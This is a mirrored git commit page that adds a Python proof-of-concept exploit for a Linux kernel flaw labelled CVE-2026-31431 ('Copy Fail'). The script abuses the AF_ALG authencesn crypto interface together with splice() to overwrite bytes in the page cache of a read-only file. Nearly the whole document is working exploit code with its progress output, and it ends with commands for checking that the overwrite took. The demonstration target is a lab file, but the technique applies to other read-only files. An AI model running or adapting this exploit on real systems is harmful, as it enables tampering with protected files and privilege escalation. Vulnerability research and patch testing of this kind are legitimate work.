mirror of
https://github.com/4xura/CVE-2026-31431-Copy-Fail.git
synced 2026-05-26 05:10:50 +00:00
init commit
This commit is contained in:
parent
4ba9656827
commit
31ac27ea2c
11 changed files with 1556 additions and 0 deletions
115
proof-of-concept/copyfail_poc.py
Normal file
115
proof-of-concept/copyfail_poc.py
Normal file
|
|
@ -0,0 +1,115 @@
|
|||
# copyfail_poc.py
|
||||
import os
|
||||
import struct
|
||||
import socket
|
||||
from pathlib import Path
|
||||
|
||||
AF_ALG = 38
|
||||
SOL_ALG = 279
|
||||
ALG_SET_KEY = 1
|
||||
ALG_SET_IV = 2
|
||||
ALG_SET_OP = 3
|
||||
ALG_SET_AEAD_ASSOCLEN = 4
|
||||
ALG_SET_AEAD_AUTHSIZE = 5
|
||||
ALG_OP_DECRYPT = 0
|
||||
CRYPTO_AUTHENC_KEYA_PARAM = 1
|
||||
|
||||
target = "./target.bin"
|
||||
overwrite_off = 0x1234
|
||||
authsize = 0x10
|
||||
splice_len = 0x20
|
||||
splice_off = overwrite_off - (splice_len - authsize)
|
||||
|
||||
write_value = b"PWN!"
|
||||
aad = b"A" * 4 + write_value
|
||||
|
||||
def marker(label):
|
||||
with target_path.open("rb") as f:
|
||||
f.seek(overwrite_off)
|
||||
b = f.read(4)
|
||||
print(f"{label} @ 0x{overwrite_off:x} = {b.hex(' ')} ({b!r})")
|
||||
|
||||
print(f"[+] target : {Path(target).expanduser()}")
|
||||
print(f"[+] overwrite : file offset 0x{overwrite_off:x}")
|
||||
print(f"[+] splice : offset=0x{splice_off:x} len=0x{splice_len:x} authsize=0x{authsize:x}")
|
||||
print(f"[+] write value : {write_value!r}")
|
||||
|
||||
# 1. Create a harmless read-only lab target.
|
||||
target_path = Path(target).expanduser()
|
||||
target_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
data = bytearray(b"X" * 0x3000)
|
||||
data[overwrite_off:overwrite_off + 4] = b"ORIG"
|
||||
target_path.write_bytes(data)
|
||||
with target_path.open("rb") as f:
|
||||
os.fsync(f.fileno())
|
||||
target_path.chmod(0o444)
|
||||
marker("[+] marker before")
|
||||
|
||||
# 2. Open AF_ALG transform socket.
|
||||
tfm = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
|
||||
try:
|
||||
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
|
||||
except FileNotFoundError:
|
||||
print("[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).")
|
||||
print("[!] Check /proc/crypto and try: sudo modprobe authencesn")
|
||||
raise
|
||||
print("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))")
|
||||
|
||||
# 3. Configure the authenc-compatible key blob and authsize, then accept.
|
||||
key_blob = (
|
||||
struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) +
|
||||
struct.pack("!I", 16) +
|
||||
(b"A" * 32) +
|
||||
(b"B" * 16)
|
||||
)
|
||||
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, key_blob)
|
||||
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, authsize)
|
||||
print("[+] AEAD configured: authkey=32, enckey=16, authsize=0x10")
|
||||
|
||||
op, _ = tfm.accept()
|
||||
print(f"[+] accepted operation socket: fd={op.fileno()}")
|
||||
|
||||
# 4. Queue attacker-controlled AAD.
|
||||
# AAD[4:8] is the 4-byte value authencesn later writes.
|
||||
iv = struct.pack("I", 16) + (b"\x44" * 16)
|
||||
op.sendmsg(
|
||||
[aad],
|
||||
[
|
||||
(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
|
||||
(SOL_ALG, ALG_SET_IV, iv),
|
||||
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad))),
|
||||
],
|
||||
socket.MSG_MORE,
|
||||
)
|
||||
print(f"[+] AAD queued: assoclen={len(aad)}, AAD[4:8]={write_value!r}")
|
||||
|
||||
# 5. Splice target file bytes into a pipe.
|
||||
r, w = os.pipe()
|
||||
fd = os.open(str(target_path), os.O_RDONLY)
|
||||
|
||||
os.splice(fd, w, splice_len, splice_off, None, 0)
|
||||
print(f"[+] splice(file -> pipe): 0x{splice_len:x} bytes from file offset 0x{splice_off:x}")
|
||||
|
||||
# 6. Splice pipe into AF_ALG operation socket.
|
||||
os.splice(r, op.fileno(), splice_len, None, None, 0)
|
||||
print(f"[+] splice(pipe -> AF_ALG): 0x{splice_len:x} bytes")
|
||||
|
||||
# 7. Trigger decrypt. Authentication is expected to fail.
|
||||
try:
|
||||
op.recv(0x1000)
|
||||
print("[+] recv returned data")
|
||||
except OSError as e:
|
||||
print(f"recv failed as expected: {e}")
|
||||
|
||||
marker("[+] marker after ")
|
||||
print(f"[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
|
||||
print("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")
|
||||
print(f"[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
|
||||
print("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches")
|
||||
|
||||
os.close(fd)
|
||||
os.close(r)
|
||||
os.close(w)
|
||||
op.close()
|
||||
tfm.close()
|
||||
Loading…
Add table
Add a link
Reference in a new issue